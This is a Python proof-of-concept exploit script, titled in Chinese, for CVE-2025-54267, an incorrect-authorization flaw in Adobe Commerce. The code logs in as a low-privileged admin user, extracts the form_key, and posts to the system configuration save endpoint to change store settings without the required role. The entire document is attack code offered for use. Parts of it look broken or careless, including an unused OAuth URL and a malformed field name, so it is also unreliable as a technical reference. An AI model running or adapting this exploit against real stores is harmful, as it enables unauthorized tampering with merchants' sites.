Adobe Commerce 错误授权漏洞（CVE-2025-54267）

# CVE-2025-54267 - Adobe Commerce Incorrect Authorization PoC # This PoC demonstrates the concept of bypassing authorization checks # in Adobe Commerce by exploiting missing ACL validation. import requests import json # Configuration TARGET_URL = "https://target-magento-site.com" ADMIN_PATH = "/admin" # Default admin path, may be customized LOW_PRIV_USER = "limited_admin_user" LOW_PRIV_PASS = "password123" def get_session_token(base_url, admin_path, username, password): """Authenticate as a low-privileged admin user and obtain session cookie.""" login_url = f"{base_url}{admin_path}/oauth/token/request" # Step 1: Obtain OAuth token via admin login API session = requests.Session() # Fetch login form to get form_key resp = session.get(f"{base_url}{admin_path}") form_key = extract_form_key(resp.text) # Submit login credentials login_data = { "login[username]": username, "login[password]": password, "form_key": form_key } resp = session.post( f"{base_url}{admin_path}/index/authorize", data=login_data ) return session def exploit_unauthorized_endpoint(session, base_url, admin_path): """ Exploit: Access a high-privilege endpoint that lacks proper ACL checks. The vulnerability allows a low-privileged user to bypass authorization and perform actions reserved for admin roles. """ # Example: Attempt to modify system configuration without proper ACL # This endpoint should require 'Admin' role but accepts any authenticated user exploit_url = f"{base_url}{admin_path}/system_config/save" # Payload: Modify a system configuration value payload = { "groups[general][fields][locale][value]": "en_US", "groups[general][fields[store_information][value]": "Attacker Store" } resp = session.post(exploit_url, data=payload) if resp.status_code == 200 and "success" in resp.text.lower(): print("[+] Authorization bypass successful!") print(f"[+] Modified system configuration without proper privileges") return True else: print(f"[-] Exploit failed. Status: {resp.status_code}") return False def extract_form_key(html): """Extract Magento form_key from login page HTML.""" import re match = re.search(r'form_key.*?value="([a-zA-Z0-9]+)"', html) return match.group(1) if match else "" if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] CVE-2025-54267 - Adobe Commerce Incorrect Authorization") # Step 1: Authenticate as low-privileged user session = get_session_token(TARGET_URL, ADMIN_PATH, LOW_PRIV_USER, LOW_PRIV_PASS) print(f"[+] Authenticated as low-privilege user: {LOW_PRIV_USER}") # Step 2: Exploit the authorization bypass exploit_unauthorized_endpoint(session, TARGET_URL, ADMIN_PATH)